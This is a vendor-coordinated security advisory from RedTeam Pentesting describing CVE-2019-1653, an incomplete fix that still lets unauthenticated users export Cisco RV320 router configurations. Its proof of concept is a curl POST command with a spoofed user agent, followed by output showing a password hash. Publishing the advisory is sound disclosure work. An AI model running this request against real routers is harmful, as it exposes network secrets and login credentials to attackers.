Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Cisco RV320 Unauthenticated Configuration Export

RedTeam Pentesting discovered that the configuration of a Cisco RV320 router can still be exported without authentication via the device’s web interface due to an inadequate fix by the vendor.

Details

  • Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
  • Affected Versions: 1.4.2.15 through 1.4.2.20
  • Fixed Versions: 1.4.2.22
  • Vulnerability Type: Information Disclosure
  • Security Risk: high
  • Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
  • Vendor Status: fixed version released
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003
  • Advisory Status: published
  • CVE: CVE-2019-1653
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653

Introduction

“Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network.” (from the Cisco RV320 product page (https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html))

More Details

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device’s firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-002) (https://www.redteam-pentesting.de/advisories/rt-sa-2018-002) in the CGI program:

/cgi-bin/config.exp

By issuing an HTTP GET request to this program, it was possible to export a router’s configuration without providing any prior authentication. This vulnerability was adressed in firmware version 1.4.2.19 published by Cisco (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info).

RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. By performing a specially crafted HTTP POST request, attackers are still able to download the router’s configuration. The user agent “curl” is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication.

Proof of Concept

A device’s configuration can be retrieved by issuing an HTTP POST request to the vulnerable CGI program (output shortened):

$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \
  'https://192.168.1.1/cgi-bin/config.exp'
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]

Workaround

Prevent untrusted clients from connecting to the device’s web server.

Fix

Install firmware version 1.4.2.22 (or later) on the router.

Security Risk

This vulnerability is rated as a high risk as it exposes the device’s configuration to untrusted, potentially malicious parties. By downloading the configuration, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router’s user accounts. Knowledge of a user’s password hash is sufficient to log into the router’s web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks.

Timeline

  • 2018-09-19 Original vulnerability identified
  • 2018-09-27 Customer approved disclosure to vendor
  • 2018-09-28 Vendor notified
  • 2018-10-05 Receipt of advisory acknowledged by vendor
  • 2018-10-05 Notified vendor of disclosure date: 2019-01-09
  • 2018-11-18 List of affected versions provided by vendor
  • 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
  • 2019-01-22 Firmware 1.4.2.20 released by vendor
  • 2019-01-23 Advisory (rt-sa-2018-002) published
  • 2019-02-07 Incomplete mitigation of vulnerability identified
  • 2019-02-08 Proof of concept sent to vendor
  • 2019-02-08 Receipt of proof of concept acknowledged by vendor
  • 2019-02-15 Full advisory sent to vendor
  • 2019-02-15 Notified vendor of disclosure date: 2019-03-27
  • 2019-03-25 Requested progress update from vendor
  • 2019-03-25 Vendor requests postponed disclosure
  • 2019-03-25 Postponement declined
  • 2019-03-27 Advisory published
  • 2019-04-04 Firmware 1.4.2.22 released by vendor

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/